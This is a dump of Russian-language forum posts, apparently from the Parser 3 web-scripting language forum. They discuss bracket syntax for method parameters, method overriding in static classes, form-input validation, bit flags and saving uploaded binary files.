из [i]дальнейших[/i] планов есть\
1. \
[code]\
@USE\
dots\
@method[]\
^call1[].^call2[].field\
[/code]\
\
2.\
[code]\
@USE\
nospaces\
@method[]\
^if(1<2){\
    lala\
}\
#метод вернёт \"lala\", а не \"<enter><пробел><пробел>lala<enter>\"\
[/code]\
\
3.\
всегда ждём от пользователей разумных идей :)\
общая позиция тут такая: если какую-то узкую задачу прекрасно выполняет внешняя утилитка, пользуем внешнюю утилитку, в Parser не тащим.\
\
нужно что-то простое, желательно несложно реализуемое, от чего получит пользу большинство."
"47048","есть набор статических методов.\
На сколько я понимаю в таком случае методы не перекроются.."
"47049","кое-что отлаживал в байт-код машине, кусочек журнала:\
\
было:\
\
[code]\
@conf[]\
$charsetsdir[c:/drives/Y\\parser3project\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[c:/drives/Y\\parser3project\\sql]\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
]\
\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/mysql/Debug/parser3mysql.dll	Y:\\parser3project\\win32\\sql\\mysql\\lib\\opt\\libmySQL.dll\
odbc	$sqldriversdir/odbc/Debug/parser3odbc.dll\
pgsql	$sqldriversdir/pgsql/debug/parser3pgsql.dll	$sqldriversdir/pgsql/debug/libpq.dll \
#oracle	$sqldriversdir/oracle/debug/parser3oracle.dll	C:\\oracle\\ora90\\bin\\oci.dll?PATH+=^;C:\\oracle\\ora90\\bin\
oracle	$sqldriversdir/oracle/debug/parser3oracle.dll	C:\\oracle\\ora90AS\\bin\\oci.dll?PATH+=^;C:\\oracle\\ora90AS\\bin\
\
}]                                                                     \
]\
[/code]\
\
стало:\
[code]\
source----------------------------|\
WITH_ROOT\
VALUE \"charsetsdir\" string\
VALUE \"c:/drives/Y\\parser3project\\parser3\\etc\\parser3.charsets\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"|\" string\
WITH_ROOT\
VALUE \"sqldriversdir\" string\
VALUE \"c:/drives/Y\\parser3project\\sql\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"|\" string\
WITH_ROOT\
VALUE \"CHARSETS\" string\
OBJECT_POOL\
    STRING__WRITE \"|    \" string\
    WITH_WRITE\
    VALUE \"koi8-r\" string\
    OBJECT_POOL\
        WITH_READ\
        VALUE \"charsetsdir\" string\
        GET_ELEMENT__WRITE\
        STRING__WRITE \"/koi8-r.cfg\" string\
    CONSTRUCT_VALUE\
    STRING__WRITE \"|    \" string\
    WITH_WRITE\
    VALUE \"windows-1251\" string\
    OBJECT_POOL\
        WITH_READ\
        VALUE \"charsetsdir\" string\
        GET_ELEMENT__WRITE\
        STRING__WRITE \"/windows-1251.cfg\" string\
    CONSTRUCT_VALUE\
    STRING__WRITE \"|\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"||\" string\
WITH_ROOT\
VALUE \"SQL\" string\
OBJECT_POOL\
    STRING__WRITE \"|	\" string\
    WITH_WRITE\
    VALUE \"drivers\" string\
    OBJECT_POOL\
        VALUE \"table\" string\
        GET_CLASS\
        PREPARE_TO_CONSTRUCT_OBJECT\
        VALUE \"create\" string\
        GET_ELEMENT\
        CALL__WRITE\
            CURLY_CODE__STORE_PARAM\
                STRING__WRITE \"protocol	driver	client|mysql	\" string\
                WITH_READ\
                VALUE \"sqldriversdir\" string\
                GET_ELEMENT__WRITE\
                STRING__WRITE \"/mysql/Debug/parser3mysql.dll	Y:\\parser3project\\win32\\sql\\mysql\\lib\\opt\\libmySQL.dll|odbc	\" string\
                WITH_READ\
                VALUE \"sqldriversdir\" string\
                GET_ELEMENT__WRITE\
                STRING__WRITE \"/odbc/Debug/parser3odbc.dll|pgsql	\" string\
                WITH_READ\
                VALUE \"sqldriversdir\" string\
                GET_ELEMENT__WRITE\
                STRING__WRITE \"/pgsql/debug/parser3pgsql.dll	\" string\
                WITH_READ\
                VALUE \"sqldriversdir\" string\
                GET_ELEMENT__WRITE\
                STRING__WRITE \"/pgsql/debug/libpq.dll |oracle	\" string\
                WITH_READ\
                VALUE \"sqldriversdir\" string\
                GET_ELEMENT__WRITE\
                STRING__WRITE \"/oracle/debug/parser3oracle.dll	C:\\oracle\\ora90AS\\bin\\oci.dll?PATH+=;C:\\oracle\\ora90AS\\bin||\" string\
    CONSTRUCT_VALUE\
    STRING__WRITE \"                                                                     |\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"||\" string\
WITH_ROOT\
VALUE \"MIME-TYPES\" string\
OBJECT_POOL\
    VALUE \"table\" string\
    GET_CLASS\
    PREPARE_TO_CONSTRUCT_OBJECT\
    VALUE \"create\" string\
    GET_ELEMENT\
    CALL__WRITE\
        CURLY_CODE__STORE_PARAM\
            STRING__WRITE \"ext	mime-type|zip	application/zip|doc	application/msword|xls	application/vnd.ms-excel|pdf	application/pdf|ppt	application/powerpoint|rtf	application/rtf|gif	image/gif|jpg	image/jpeg|jpeg	image/jpeg|png	image/png|tif	image/tiff|html	text/html|htm	text/html|txt	text/plain|mts	application/metastream|mid	audio/midi|midi	audio/midi|mp3	audio/mpeg|ram	audio/x-pn-realaudio|rpm	audio/x-pn-realaudio-plugin|ra	audio/x-realaudio|wav	audio/x-wav|au	audio/basic|mpg	video/mpeg|avi	video/x-msvideo|mov	video/quicktime|swf	application/x-shockwave-flash|\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"||\" string\
WITH_ROOT\
VALUE \"LIMITS\" string\
OBJECT_POOL\
    STRING__WRITE \"|	\" string\
    WITH_WRITE\
    VALUE \"post_max_size\" string\
    PREPARE_TO_EXPRESSION\
    VALUE \"10\" double\
    VALUE \"1024\" double\
    MUL\
    VALUE \"1024\" double\
    MUL\
    CONSTRUCT_EXPR\
    STRING__WRITE \"|\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"	||\" string\
WITH_ROOT\
VALUE \"MAIL\" string\
OBJECT_POOL\
    STRING__WRITE \"|	\" string\
    WITH_WRITE\
    VALUE \"SMTP\" string\
    VALUE \"mail.srv.design.ru\" string\
    CONSTRUCT_VALUE\
    STRING__WRITE \"|\" string\
CONSTRUCT_VALUE\
STRING__WRITE \"||\" string\
execution-------------------------|\
1:WITH_ROOT\
2:VALUE\
 \"charsetsdir\" string\
3:VALUE\
 \"c:/drives/Y\\parser3project\\parser3\\etc\\parser3.charsets\" string\
4:CONSTRUCT_VALUE\
1:STRING__WRITE\
 \"|\"\
...\
[/code]"
"47050","в общем виде:\
везде, где оператору или методу нужен {параметр}, вполне можно подставить (параметр) и… наоборот.\
\
эти два стиля передачи параметров передают одно и то же: код для получения результата.\
отличаются грамматикой."
"47051","кто собирал из исходников, ему точно не понравится ещё одну библиотеку тянуть.\
\
если буду делать, это, конечно, будет опциональным, как XML."
"47052","в Parser можно перекрывать методы классов, без всякого экземпляра объекта."
"47053","-- Методу все равно в каких скобках ему передают параметр: в фигурных или в круглых.\
-- Ему также наплевать передаем мы ему параметры разделенные точкой с запятой (;) или те же параметры в отдельных скобках.\
\
Получается, возможны такие записи:\
\
1. [code]^table.menu($table.name;, )[/code]\
2. [code]^for[i](1;100)($i;, )[/code]\
3. [code]^while($is_ok)(...)[/code]\
4. [code]^some_method[$string]($var_int_1)($var_int_2)[/code]\
5. [code]^some_method[$string;$var_int_1;$var_int_2][/code]\
\
\
А вот такая запись НЕ возможна:\
[code]^if($ok)(^do_that[];^do_this[])[/code]\
\
\
[color=\"#777777\"](Помоему я уже запутался)[/color]"
"47054","Те кто собирают из исходников легко потянут ещё и 10 библиотек.\
\
Без 's' плохо, т.к. все платежные системы по этому протоколу работают, что вполне разумно."
"47055","Я постоянно пользуюсь п.4\
А остальное мне кажется неудобным :)"
"47056","Александр, тогда возвращаясь к первому сообщению темы - что я делаю не так, из-за чего метод @sub в базовом классе не перекрывается методом из дочернего?"
"47057","Часто возникает задача: проверять корректность данных полученных от пользователя. Со строковыми переменными, ИМХО, универсального решения быть не может - оптимальнее будет писать проверку в каждом конкретном случае. \
\
С числами, часто, все проще - как правило, есть один диапазон, в пределах которого значения являются валидными.\
\
Имеет ли смысл создавать такой метод для проверки или лучше каждый раз использовать ^if'ы/^switch'ы?\
\
[code]\
@out_of_range[value;min;max]\
$result(^if($value < $min || $value > $max))\
[/code]\
\
Какие существуют решения подобных задач задачи/подходы к проверке валидности данных из форм?"
"47058","[code]#==================================================================================================\
@checkValue[value;maximum;minimum;default] проверяет аргумент на вхождение в рамки, если не удовлетворяет условиям - ставит значение в дефолт\
^if(def $maximum && def $minimum && def $default){\
	$maximum(^maximum.int(0))\
	$minimum(^minimum.int(0))\
	$default(^default.int(0))\
	$value(^value.int($default))\
	^if($value >= ^minimum.int(0) && $value <= ^maximum.int(0)){\
		$result($value)\
	}{\
		$result($default)\
	}\
}{\
	$result(0)\
}\
#==================================================================================================\
[/code]\
ВНИМАНИЕ: изменить $result(0), если возможно деление на число вернувшееся после проверки.\
Короче - выставить свой дефолт.\
\
А с остальными значениями...\
Я делаю глобальных хэш (\"константа\"), в который кладу только те поля/значения которые необходимы и проверены на безопасность.\
А потом спокойно везде использую эти значения, доверяя им."
"47059","Было:\
[code]\
@is_leap_year[year]\
$result(($year&3) == 0 && $year%100 != 0 || $year%400 == 0)\
[/code]\
\
\
Стало:\
[code]\
@is_leap_year[year]\
$result(($year&3) == 0 && ($year%100!=0 || $year%400==0))\
[/code]\
\
Экономия примерно 20% по времени[code]"
"47062","Раньше, когда я только начинал писать для веба (на Perl), то пологал, что пользователь никогда не должен видеть ошибок, и, даже если он вводит не корректные данные, то нужно ставить значения по дефолту (читай - угадывать, что он хотел получить.).\
\
Сейчас я считаю, что нужно делать иначе:\
a) создавать интерфейс таким образом, чтобы снизить вероятность ввода пользователем некорректных значений :)\
b) Если же такая ситуация возникает, то честно писать – произошла ошибка, операция невозможна. \
\
[code]\
^try{ \
	^if(^out_of_range[^form:value.int(-1);0;12]){\
		^throw[user.input;$form:value;This is user error]\
	}\
}{ \
	^if($exception.type eq user.input){ \
      		$exception.handled(1) \
		К сожалению, вы ввели допустимые значения, операция невозможна. \
	}\
}\
[/code]\
\
Мне кажется, такой подход лучше, чем выставление дефолтных значения.\
\
В тех же ситуациях где [i]действительно[/i] необходимо выставлять значения по дефолту, можно использовать предложенный вами вариант."
"47063","Простите, не удержался... =)"
"47064","Помимо ^file:move хочется ^file:copy. Иначе приходится извращаться с построением таблицы и копированием по-файлово. В принципе с появлением этого метода можно будет красиво сделать файл-менеджер. Всё остальное уже есть.\
\
И общий вопрос, частного характера :) : а по срокам 3.1.15 с исправленными ^file:load (режимы text/binary по разному себя ведут) и ^file:list (.htacc... и т.п. файлы не видит) когда можно надеятся? Просто я тут как раз кропаю CVS на Персере :) и тоже приходится изголяться с алгоритмами перекачки файлов с сервера на сервер из-за ошибок. Может мне это дело отложить на какое-то время, но надо понимать когда 3.1.15 может появится.\
\
Спасибо!"
"47069","Есть:\
Каталог товаров сделанные на основе примера, но с одной переделкой, а именно строится расскрывающееся дерево, а не раскрытое как в примере.  \
Построение раскрывающегося дерева:\
[code]\
@printMessagesByParent[parent_id][levelmessages]\
^if($hashTree.[$parent_id]){\
	$levelmessages[$hashTree.[$parent_id]]\
       <ul class=\"catalog\">\
	^levelmessages.menu{		                \
      ^if($form:id == $levelmessages.forum_message_id){\
		       <li class=\"catalog\"><b>$levelmessages.title</b></li>\
	      }{\
		       <li><a href=\"?id=$levelmessages.forum_message_id\">$levelmessages.title</a></li>\
	      }\
                ^if($parentsMessage.[$levelmessages.forum_message_id]){\
	        ^printMessagesByParent[$levelmessages.forum_message_id]\
        }\
        }\
       </ul>\
}\
[/code]\
\
а теперь надо переделать: \
Например есть каталог товара вида: \
[code]\
->Тип оборудования1\
	->Бренд1\
		->Модели бренда1.\
	->Бренд2\
		->Модели бренда2.\
->Тип оборудования2\
	->Бренд1\
		->Модели бренда1\
	->Бренд2\
		->Модели бренда2\
[/code]\
Если использовать раскрывающееся дерево, то при большом количестве моделей нагружается навигация, необходимо при нажатии на бренд дерево не дальше раскрывалось до моделей, а выводило в body список моделей. А как сделать незнаю. Подскажите алгоритм как это можно сделать."
"47071","1. нет, поскольку выражение \", \" бессмысленно.\
2. нет, та же причина\
3. да, но ... должно быть выражением\
4. да. на стыке однотипных скобок можно пользоваться таким стилем, который кажется изящнее:\
http://www.parser.ru/docs/lang/?imageline.htm\
[code]\
#можно так\
^square.line(0;0;100;100;0xFFFFFF)\
#а можно и так\
^square.line(0;0)(100;100)(0xFFFFFF)\
[/code]\
5. нет, если вы сделали [$double], то ваш double превратился в string, конечно, дальше по коду можно сделать ^if($string<5)… и parser поймёт вас правильно, однако для чисел вроде \"0.000000000000000001\" есть особенности в выводе, они напечатаются, вероятно, не так, как вы ожидаете, используйте для вывода ^double.format[], а для передачи параметров и хранения значений только круглые скобки.\
6. запись вполне возможная, эти методы вполне могут выдавать числа."
"47072","каждая новая библиотека: очередная головная боль."
"47073","Есть в парсере возможность работать с двоичными числами? Т.е. включать/выключать нужные биты в двоичном числе."
"47074","Не с той точки зрения рассматривал вопрос, извиняюсь."
"47076","конечно же, нельзя.\
сожалею, что пытался обмануть. и вообще, сожалею, что написал, не проверив.\
\
действительно, перекрывать методы можно только у объектов, как и в других языках программирования.\
\
в вашем случае, если создать экземпляр child и вызвать procedure, будет то, что вы ожидаете (проверил, мин нет).\
\
важно:\
файлы auto.p+запрошенный.html собираются в один класс MAIN, но тут не «перекрываются методы родителя», а «используются более точные определения». тут нет родителей и детей.\
\
отмазка:\
раньше(в самом начале) файлы auto.p и запрошенный.html в действительности были состояли в родственных отношениях. однако это оказалось неудобно и медленно, от этого почти сразу отказался, однако в голове получилась некоторая путаница."
"47077","выглядит более изящно, и появляется место, в котором можно что-то хранить, не опасаясь конфликтов с другими местами, где вызываются эти же функции."
"47078","Наоборот, не хочется на пустом месте городить огород - создавать объект там, где он не нужен.\
\
Я обошел это так:\
\
в parent-классе вызываем сразу метод child:\
т.е. из первого примера пишем так:\
\
@procedure[]\
^child:sub[]\
\
тогда если в child-классе метод переопределен, то вызывается переопределенный, а если нет - вызывается метод родителя, как мне и нужно. Жаль только, что пришлось так выворачиваться, думал, можно проще сделать. \
\
не совсем понимаю причину, по которой в объекте вызывается переопределенный метод, а в \"статичном классе\" - родительский."
"47079","и еще вдогонку -\
а нельзя тот же механизм \"уточнения\" использовать не только в auto.p, но и в \"своих\" модулях?"
"47080","поддерживаю предыдущего оратора.\
\
могу добавить, что \
1. желательно также спрятать проверку в метод с красивым именем.\
\
2. обработку ошибок вести сильно отдельно и возможно дальше от точки возникновения ошибки: в идеале, в каком-то одном месте.\
\
вариант:\
[code]\
@client[]\
$age(^FormIntegerInRange[age](1;200))\
[/code]\
\
а за кадром что-то такое:\
[code]\
@FormIntegerInRange[field;min;max]\
$result(^form:$field.int($min-1))\
^if($result<$min){ ^throw[...] }\
^if($result>$max){ ^throw[...] }\
[/code]\
\
\
ещё кому-то понравится такой вариант:\
[code]\
@client[]\
$age($form:age)\
^assert[^$age>0 && ^$age <200]\
[/code]"
"47081","[code]\
$f[^file::load[binary\
^f.save[binary\
[/code]\
конечно, неидеально, но чем не годится?\
\
3.1.5 << тут уже б[b]о[/b]льшая часть того, что хотел туда внести уже сделано. если нет сил ждать, можно собрать CVS.\
конкретное число не назову.\
\
пожалуйста, уточните про «file::load режимы text/binary по-разному…», что имеется в виду?"
"47082","у вас нельзя сделать двух детей :)"
"47083","Задача - нужно \"сбросить\" на сервер бинарный файл с машины клиента (архив .zip, например)\
\
На клиентской машине этот файл \"отправляется\" на сервер, скажем на http://..../upload.p и в парсере отправленные данные видны в $request:body\
\
Вопрос - есть ли простой способ этот бинарный файл из $request:body  сохранить на диск на сервере? Может быть это вообще подход неверный, и делать нужно иначе?\
\
Извините за возможный повтор вопроса\
\
* Вариант с закачкой по ftp можно не предлагать\
\
** Сейчас приходится этот $request:body сбрасывать во внешний скрипт на perl, который записывает переданные данные в файл. Но это \"вешалка\""
"47084","потому, что класс, как вы сами выразились «статичный».\
от него такое поведение не ожидается, а потому и не реализовано. \
ещё, конечно, потому, что интерпретируемый объектно ориентерованный язык, это отдельный fun, я вам скажу, и так мне было проще.\
\
auto механизм, вещь сильно отдельная."
"47085","Да я понимаю, что нельзя \"двух детей\" - это же по-необходимости сделано\
\
Задача в том, чтобы иметь общую библиотеку блоков на парсере, которую можно легко модифицировать для разных сайтов, так, чтобы общая часть оставалась одинаковой, а модификации хранились отдельно. \
\
Создавать экземпляр объекта класса не хочется - это во всех модулях лишних строк наплодится; а для \"статичных\" классов другого решения  я пока не нашел; эх, вот если бы механизм уточнения из auto.p расширить на свои модули ;)"
"47086","Александр, извините за настойчивость.\
Просто мне хочется разобраться с этими скобками раз и навсегда.\
И больше не возвращаться к этому вопросу.\
Если вас не затруднит, исправте/дополните нижеприведенный список.\
\
\
[b]1.[/b] При передаче параметров методу, могут быть использованы различные скобки:\
\
\
[b][ ][/b] Квадратные скобки:\
- для строковых значений\
[code]	^method[bla-bla-bla][/code]\
- для переменных содержащих строковые значения \
[code]	^method[$my_string][/code]\
- для вызова метода возвращающего строку\
[code]	^method[^give_me_my_string[]][/code]\
\
\
[b]( )[/b] Круглые скобки:\
- для чисел\
[code]	^method(17)[/code]\
- переменных содержащих числа\
[code]	^method($my_age)[/code]\
- для вызова метода возвращающего число\
[code]	^method(^give_me_my_number[])[/code]\
- для мат. выражения\
[code]	^method(^eval(2*120<<1))\
	^method(2*2)[/code]\
\
[b]{ }[/b] Фигурные скобки:\
- для кода\
[code]	^method{\
#		любой код Парсера\
	}[/code]\
\
[b]2.[/b] Если методу передаются параметры различного типа, то для того чтобы Парсер их различал (где строка, число или код) необходимо передаваемые параметры заключать в соответствующие скобки.\
[code]\
	^method[$string1;$string2]{$my_code}($my_number1;$my_number)[$file_name][/code]\
\
[b]3.[/b] Если методу передать число в квадратных скобках\
[code]	^method[$my_age][/code]\
то оно будет переведено в строку и проблем не возникнет если это целое число. Если число вещественное, то лучше его передавать [b]только[/b] в круглых скобках."
"47088","Александр, а в будущих версиях Вы не планируте сделать поддержку закачки бинарных файлов? Сами Вы что думаете по-этому поводу? Ведь хостинги разные, где-то перл поддерживается, где-то нет - жизнь существенно упростилась бы, если бы появилась возможность работать закачивать бинарники. \
\
^repeat[извининение] :)"
"47089","а можно вот здесь несколько по-подробнее?\
Есть число 65\
1. Нужно перевести его в двоичное\
2. Проверить, включен ли бит № 6\
3. Вернуть true или false"
"47090","Александр, такая возможность дала бы возможность делать полноценные CMS ТОЛЬКО на парсере (с серверной стороны) без использования \"посторонних\" языков.\
\
Для меня, например, было большим сюрпризом узнать, что сейчас этого сделать никак нельзя :( :( :( \
\
Задачи, связанные с приемом бинарных файлов, возникают частенько, и очень очень неприятно осознавать, что твой основной инструментарий не способен самостоятельно решить эту задачу - опять приходится ПРОСИТЬ провайдера подключить перл, опять неудобная отладка взаимодействия двух разных языков и т.д. Сложность работы повышается вдвое :(\
\
А всего-то нужно добавить возможность конструировать объект типа бинарный файл из данных из $request.body\
\
Причин сделать это много, Александр, а есть серьезные причины этого НЕ делать?"
"47091","про перевод строки я не задумывался пока. Сайт то- полуфабрикат! демо - это тоже в начале было сказано!\
в объявах чел заполняет форму. админ проверяет данные, перезванивает челу, тот тачку подгоняет, ее фоткают с определенного ракурса и обработав фото прикрепляют к данным! - так заказчик попросил!"
"47092","[code]\
$rights(65)\
\
^if($rights & 32){6-й бит включен}{6-й бит не включен}\
[/code]\
\
\
[b]PS[/b]\
[code]\
65 это 1000001\
32 это 0100000\
--------^\
        6-й бит\
[/code]"
"47093","слушай! если эти параметры я пропишу в боди, то не будет оверрайда тех, которые в CSS?\
а насчет твоего последнего коментария про строку - не, брат, прости, но она мне геморроя на 2 дня предоставила! изза нее нижняя плашка на странице при малом наполнении страницы задиралась кверху и оставляла странное пространство до конца вьюпорта!\
никогда не поставлю, пока не скажешь как избежать побочного эффекта"
"47095","а это что:\
http://www.parser.ru/docs/lang/fileclass.htm\
\
щас парсер умеет:\
\
- получить файл, загруженый посетителем на сервер через input type=\"file\". после этого например сохранить его на диске.\
- загружать файлы с диска/удаленного вервера по http\
- приаттачить файлы его к отправляемому письму\
- выдать файлы в $response:body/download\
\
\
чего не хватает до полного счастья? я могу придумать только редактирования бинарных файлов парсером, но этого мне ни разу не требовалось."
"47096","В зависимости от характера данных, при передаче их методу могут использоваться различные типы скобок:\
\
[b]^название_метода[строка][/b]\
методу передается строковое значение (объект класса string) или произвольный объект некоторого класса\
\
[b]^название_метода{код}[/b]\
методу передается фрагмент кода, который может быть выполнен при обращении к соответствующему параметру внутри метода\
\
[b]^название_метода(код)[/b]\
то же что и ^название_метода{код}, но с немного более жесткими условиями. По хорошему результатом выполнения переданного фрагмента кода (с учетом преобразования типов) в этом случае должно быть число или результат математического выражения.\
\
[code]^if(1){}  vs  ^if(1)()\
^if(1){yes}  vs  ^if(1)(yes)[/code]\
но если мы не собираемся его выполнять, он может быть и чем-то другим\
[code]^if(1)(1;no)[/code]"
"47097","[quote]1. Нужно перевести его в двоичное[/quote]\
\
зачем? число это число. оно из битов. если хочется его напечатать чтобы посмотреть глазами на битики - lib.p/@dec2bin[] вам поможет\
\
[quote]2. Проверить, включен ли бит № 6[/quote]\
ну напишите себе методы, которые будут состоять из нескольких строк. всем-то это зачем?\
[code]\
@isBitOn[int;bit_num]\
$result($int & (1 << $bit_num))\
\
...и Co...\
\
@main[]\
^if(^isBitOn[5;2]){yes}{no}\
[/code]\
\
[quote]3. Вернуть true или false[/quote]\
\
лучше парсерный bool или число."
"47098","О, Михаил, может быть Вы сможете помочь :)\
\
У пользователя на компьютере есть бинарный файл (например, .zip-архив), который нужно отправить на сервер.\
\
Отправка осуществляется не через веб-интерфейс с <form>...</form>, а через VBA, в котором есть стандартная функция, отправляющая данные (файл) по определенному http-адресу. \
\
На сервере данные \"встречает\" парсерный модуль. \
Отправленные данные в парсере видны - они находятся в $request.body. Нужно записать эти данные на диск. Я не нашел способа сделать это только средствами парсера.\
\
Что бы Вы посоветовали?"
"47099","[code]\
$str[^form:fields.foreach[k;]{$k}[, ]]\
^str.save[/fields.txt]\
[/code]\
\
что в /fields.txt после отправки данных?"
"47100","Строка не хочет быть в круглых скобках.\
Парсер ругается."
"47101","на ^if(1)() и ^if(1)(yes)\
\
^if(1)(1;no) проходит нормально, возвращает 1\
\
Парсер 3.1.4"
"47102","У меня тоже \
^if(1)(1;no)\
возвращает 1.\
\
Но если \
^if(0)(1;no)\
то естественно ругается потомучто \"no\" не число"
"47103","fields.txt пустой \
\
т.е. задача стоит так -\
\
как записать в двоичный файл содержимое $request:body"
"47104","А потом сохранить.\
Не подходит?.."
"47105","Есть ситуации когда, безусловно, нужно показать сообщение об ошибке.\
Фактически, любой серьёзный код этим отличается от несерьёзного.\
\
Однако, иногда допустимо просто выставить в дефолт и не брать в голову, тем более, если юзеру русским по белому написали пределы."
"47106","Оператор ^if \"выполняет\" только тот фрагмент кода, который соответствует условию, пришедшему первым параметром. На фрагмент кода не соответствующий условию он не обращает внимание. Таковы [url=\"http://www.parser.ru/docs/lang/opif.htm\"]правила игры[/url] - если он выбрал левую шкатулку, содержимое правой ему не покажут. Но если в той что он выбрал пусто, или находится \"не то что он ожидал\" - тогда он будет ругатся..."
"47107","[quot]пожалуйста, уточните про «file::load режимы text/binary по-разному…», что имеется в виду?[/quot]\
\
Это я глюканул, извиняюсь :( С чтением проблем нет - была проблема с записью в двоичном режиме файла нулевой длины. Завтра соберу из CVS 3.1.15 и начну тестировать свой файл-менеджер. если что-то выплывет, дам знать.\
\
P.S. ^file:copy[] хотелось по причине сбойно работающего режима запись нулевой длины бинарников. Приходилось огород городить с проверкой на длину и сменой режима записи. Теперь это не нужно будет - спасибо большое, Александр!"
"47108","Я сейчас как раз вожусь с файл-менеждеров на Парсере и возможно смогу что-то подсказать.\
\
В VBA не силен :( Дайте ссылку на описание метода, которым VBA \"пропихивает\" файл на удаленный сервер. Или хотя бы ключевые слова по теме."
"47109","если классы только статические, то не проще-ли сделать подключаемую библиотеку операторов? Раз вы не создаете объекты, то в \"не изменяемой\" части кода делайте простой вызов оператора из библиотеки, а \"в изменяемой\" и будете определять этот метод."
"47110","о чём идёт разговор?\
Я отправляю файл на сервер с сохранением на диске через обычный <input type=\"file\">\
[code] \
^if(def $form:files){\
$ft[$form:fi]\
^ft.save[binary;files/$form:fi.name]\
<br><font color=\"#3333cc\">Файл <b>$form:fi.name</b> сохранён\
<br>размер файла - $form:fi.size байт</font>\
<form method=\"post\" enctype=multipart/form-data>\
\
<input type=\"file\" size=\"40\" name=\"fi\" value=\"\"><br><br>\
<input type=\"submit\" name=\"files\" value=\"Отправить\">\
</form> [/code]\
файл сохраняется с тем именем с каким хранился у клиента, зачем его переименовывать в .txt???\
зипы на сервере нормально открываются экзешники тоже работают без проблем.\
Или я что-то не так делаю, растолкуйте"
"47111","Не знаю, как в VBA, на Мозилле все без проблем решилось именно так. Я кодирую бинарный файл с \"Content-type: multipart/form-data; boundary=xxxxx\" и отправляю на сервер. далее никаких проблем, работа с form:fields. Думаю, что надо в эту сторону копать, как-то же VBA умеет это делать ?"
"47113","извиняюсь в if-е забыл закрыть скобку, растолкуйте что за бинарные файлы не пересылаются, я стал сомневаться правильно-ли я понимаю что такое бинарные файлы.:("
"47114","Не отношу себя к большим любителям древовидных форумов, по сему, сделал удобное мне представление материалов.\
\
Вещь новая, только сделана. Обо всех ошибках, недоработках глюках и косяках большая просьба сообщать в эту ветку.\
\
Данные форума обновляются раз в сутки, поэтому особого свежака там не будет. Однако искать, читать, сохранять и печатать, возможно, многим покажется удобнее.\
\
Милости прошу: http://parser.groundzero.ru/"
"47115","Для юзера, который не сидит постоянно в форуме такое представление материала ИМХО удобнее, не приходится кликать по каждому сообщению, чтоб уловить смысл разговора.\
Но как я понимаю у вас собственная база и это не даст хорошо развиватся форуму, если б вы использовали базу с www.parser.ru было бы куда лучше, но вероятно это не возможно :("
"47116","Обновление - раз в сутки."
"47117","А обратное обновление? Оттуда сюда?\
\
Вот именно. Не забывайте, это — официальный форум."
"47118","Вообще можно. Но идея другая. Идея в том, чтобы сделать как можно удобнее для тех, кто не имеет понятия о Parser'е..."
"47119","В VBA есть несколько стандартных функций, отправляющих данные из файла для обработки на определенный http-адрес. \
\
Если отправить с помощью одной из этих функций бинарный файл парсерному модулю на сервере, то отправленный файл \"виден\" в $request:body\
\
А в парсере я не нашел возможности записать в файл бинарные данные из $request:body - просто нет конструктора, который создавал бы бинарный файл на основе данных из $request:body"
"47120","Я тоже подумал, что можно сэмитировать данные из формы на клиенте - отличная мысль, спасибо :)\
\
Или скидывать данные в perl-скрипт, который может данные из $request:body записать как нужно. \
\
И все-таки это все усложняет процедуру, и причина, по-сути, смешная - отсутствие конструктора для бинарного файла из $request:body"
"47121","Я видел такой вариант реализации, он мне нравится.\
Если не особо нужно ведение отдельных полей св-в, а\
хватает одного описания, то можно и без т3. Но стрёмно.\
\
Таблица 1: Производители\
Таблица 2: Дерево категорий\
Таблица 3: Св-ва товаров\
Таблица 4: Товар\
\
Связи т1-т4, т2-т3-т4"
"47122","Если у кого-то опыт \"ручного\" кодирования в  multipart/form-data - поделитесь, пожалуйста.\
\
Т.е. задача - нужно \"вручную\" собрать файл в формате multipart/form-data для отравки на сервер бинарного файла - сэмитировать отправку данных из формы браузера"
"47123","в стиле:\
\
было:\
<непонятный кусок из имеющейся сейчас документации>\
\
стало:\
<тот же кусок, сформулированный лучше>\
\
Алексей Сорокин\
и Владимир Муров\
писали,\
а ваш покорный шесть раз редактировал примерно [b]год[/b], однако идеал, конечно же, недостижим.\
\
стремиться можно и нужно."
"47124","[code]\
@main[]\
$result(^isBitOn[5;2])\
[/code]"
"47125","в описанном случае нет ничего проще, чем положить\
connection_string.txt\
загрузить ^file::load[text;его], и взять $file.text\
\
\
мы храним строку соединения в auto.p, который лежит в cgi-bin, чтобы при обновлении /auto.p с нашего сервера для разработки на сервер у клиента не править несчастную."
"47126","с цифрами ненаглядно.\
\
[code]\
#мы утверждаем, что этот объект можно читать\
#если это не так, кидается exception\
^object.allowed[READ]\
...тут читаем что-то...\
[/code]\
\
за кадром:\
[code]\
$RIGHTS[\
   $.READ(1<<0)\
   $.WRITE(1<<1)\
   $.DELETE(1<<2)\
]\
\
#object.p\
@allowed[right_name]\
^if(!($rights & $RIGHTS.$right_name)){\
   ^throw[access.denied;$right_name]\
}\
[/code]"
"47127","Нужно разработать довольно приличную по сложности систему. Посложнее интернет-магазина вместе с корзиной, форумом и авторизацией.\
Вопрос к знатокам - не будет ли парсер притормаживать при обработке достаточно сложной программы или лучше начинать вспоминать PHP или что-нибудь еще?"
"47128","lib.p/@dec2bin[]\
Это что и где?\
Если у меня есть набор прав:\
1. Да\
2. Да\
3. Нет\
4. Да\
Получается двоичное число 1011. Чем можно перевести его в десятичное?"
"47129","ПисАть оттуда нельзя.\
Только чтение."
"47130","Без разницы на чем реализовывать :)\
Просто на Парсере удобнее и быстрее. А о том, что будет притормаживать.....\
Я вот тут интернет магазин реализовываю с десятком видов скидок, несколько партнерских программ.\
ДА ТОРМОЗИЛО.\
Но для решения этой проблемы хватило:\
1. Выспаться.\
2. Оптмальнее расставитьиндексы в базе\
3. Применить кеширование в местах где \"сиюжесекундная\" информация не нужна.\
\
Работает как часы. Швейцарские.\
Краштест с одновременным подключением  и яростным хождением по страницам 2500 пользователей пройден."
"47131","А то я PHP уже забыл."
"47132","Я тут нашел кое-что - можно отказаться этих VBA функций и использовать библиотеку winhttp - аналог; \
\
